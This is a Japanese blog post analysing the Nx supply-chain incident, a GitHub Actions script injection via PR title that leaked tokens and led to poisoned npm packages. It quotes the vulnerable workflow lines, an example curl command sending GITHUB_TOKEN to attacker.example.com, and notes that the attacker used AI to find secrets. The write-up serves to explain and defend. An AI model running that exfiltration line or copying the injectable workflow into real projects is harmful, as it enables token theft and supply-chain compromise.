はじめに
趣味でCTF(競技ハッキング)で遊んでいるI.Kentです。
今年の8月末にNxというOSSにおいて、興味深いインシデント事例が報告されましたので共有します
内容と被害
- 被害者はNxというJS向けのOSSのモノレポ管理ツール
- 攻撃は既知の脆弱性を用いて行われた
- 有名な脆弱性であり、セキュリティ体制が整っていれば防げた
- Script Injection による GitHub Actions の侵害
- 脆弱な GitHub Actions ワークフローをマージ
- 既定の GITHUB_TOKEN の問題
- NPM_TOKEN の漏洩とサプライチェーン攻撃
- AIを用いて秘密鍵の収集
- 6時間で900人以上の被害
インシデントの詳細
前提知識
- Github Actionには Script Injectionが存在する
run: | title="${{ github.event.pull_request.title }}"
- Github Actions スクリプト インジェクション攻撃
- 2023年以前のレポジトリでは、明示的な指定がない場合
pull_request_target
を実行すると read/write権限のGITHUB_TOKEN
が発行される-
Github公式のアナウンス
- pull_request:Read-onlyの
GITHUB_TOKEN
で実行 - pull_request_target:Read/Witeの
GITHUB_TOKEN
で実行
- pull_request:Read-onlyの
-
Github公式のアナウンス
- プロジェクト内の人が、既知の脆弱性があるGithub Actionをマージ
-
echo "Validating PR title: ${{ github.event.pull_request.title }}"
node ./scripts/commit-lint.js /tmp/pr-message.txt
-
on:
pull_request: types: [opened, edited, synchronize, reopened]
pull_request_target: types: [opened, edited, synchronize, reopened]
- permissionsの指定がなく、read/write を持った GITHUB_TOKENでPRが実行される
-
- 脆弱性を発見した攻撃者が、インジェクションを利用してGithubトークンを取得
curl -X POST https://attacker.example.com -d "token=${GITHUB_TOKEN}"
- 攻撃者はGithub上のファイルを操作する権限を取得
- 取得したGithubトークンを使ってリリース用ワークフローを編集
- Nxチームの保有するNPM_TOKENを取得する
- (NPM_TOKEN は npm にパッケージを公開するための認証キー)
- 攻撃者が汚染パッケージを配布
- AIを用いてローカルにある秘密情報を抜いて、集めた情報をリポジトリに公開
- 現在攻撃者は、パッケージをインストールした開発者から盗んだシークレットを使って、二次的な攻撃につなげているよう
- Private Repo を Public に公開したり、それを Fork して継続して情報を盗んだりするなど
本事例の興味深い点
被害側・攻撃側の両方がAIを用いており、今後多発するであろうAIを用いたクラッキング事例/AIによるコーディングがセキュリティホールとなる事例の先駆けとなる事例である
- 被害者:AIが生成した脆弱性のあるコードをマージ
- 🤖 Generated with Claude Code
- 攻撃者:トークン取得のコーディングや、秘密情報の取得にAIを活用
- コーディングの高速化
- 抜き取る秘密情報の検索アルゴリズムとしてAIを活用した
原因と対策
- 自分が挙動を理解できてないコードをプッシュするべきでない
- コピペによって脆弱性が生まれる事例は昔からある
- GitHub Actionsをセキュアに運用する
- permissionの最小化
- レビュー必須化…etc
所管
P.F.ドラッカーは著書で、失敗はいくつかのパターンに分けることができると言っていた
うろ覚えだが
- 至極一般的なもの
- 当事者にとっては特殊だが、世間的には一般的なもの
- 本当に稀でその時しか起こらないもの
- 今後も続く失敗の、最初の症状としてのもの
みたいな感じだったと思う
今回のケースは、本質的には昔からあったコピペ問題と同じだと思う。しかし、AIを用いることによって、以前より ちゃんと動くそれらしいコードが書けてしまう という点で、ミスがより手軽に、安易に起こりやすくなったのだと考える。
おそらくこの失敗はドラッカーの言うところの「今後も続く失敗の、最初の症状としてのもの」で、今後このようなミスは各所で起こるだろう
今回の事例を他山の石とし、自戒の念を持ってAI利用に努めていきたい